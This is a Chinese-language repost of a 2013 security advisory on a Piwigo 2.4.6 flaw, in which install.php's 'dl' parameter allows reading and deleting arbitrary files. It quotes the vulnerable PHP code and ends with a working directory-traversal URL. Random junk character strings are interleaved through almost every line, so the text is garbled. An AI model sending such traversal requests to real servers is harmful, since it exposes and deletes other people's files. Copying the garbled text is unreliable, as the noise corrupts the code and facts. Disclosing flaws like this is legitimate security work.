Piwigo是用PHP编写的相册脚本。
& F3 I4 W X: h6 z2 G: `: J7 R
+ \" }, s- m7 W! M B9 w9 JPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。 M8 y, W) F( V! k" \
====================================================================
3 A; E( M0 \; ~9 v u4 b Y0 [/install.php:/ P/ e1 J7 z, w5 _1 A
-------------
( @1 H6 o6 n+ }$ M113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
' G8 Y+ y0 v' ^! f114: {
' [6 M. m/ i. n* M) u115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 A5 E# m* e* L6 @6 o
116: header('Cache-Control: no-cache, must-revalidate');
& ?/ j i$ J6 ?. q. P117: header('Pragma: no-cache');+ j( m x3 X; M$ X
118: header('Content-Disposition: attachment; filename="database.inc.php"');
; f1 t1 i6 b) ^& J2 z119: header('Content-Transfer-Encoding: binary');
$ Z2 j% x9 F6 |4 J1 G$ P120: header('Content-Length: '.filesize($filename));8 \; o/ ` i( ^' N' {7 a
121: echo file_get_contents($filename);
5 G& A# N* I$ ?4 Z8 J( \122: unlink($filename);6 C( I. [. C2 x! b- G# b" h! H
123: exit();) @0 |" V$ }4 P4 G1 r
124: }/ {5 |& ^% m+ R% K5 e- V7 d
====================================================================
$ `; m- g/ q; M6 N- n7 b% x $ J3 t! L1 V5 C0 V' O
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)) k! C, M0 I) @5 ~
Apache 2.4.2 (Win32)
" \8 j6 X6 V7 T4 {" E5 O PHP 5.4.4
1 Y' s% Q3 T+ U& q MySQL 5.5.25a
, f$ z6 A# g `9 E8 h! L$ R9 n ' g0 {: l' C# Y8 a; W
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
) ]- z- k$ X3 c- A @zeroscience
' ~* x3 R" b% @/ q0 x& B8 j* y
2 d0 L# e9 L. _Advisory ID: ZSL-2013-5127
, N* K X) U/ @6 X# M7 u. TAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
( U" H( M) Z: X% m3 kVendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 `& v1 {& `' G" e X2 ^2 G ! q5 e8 F( A) a4 C. C
15.02.2013' {7 x3 ]. F# I4 u4 Y
! y1 G# t/ E9 r# O--
$ e" ?* i/ U9 ]* P* L9 I6 khttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt+ Q; j: U9 [8 w R
' }, h0 h) U7 H' j& S
|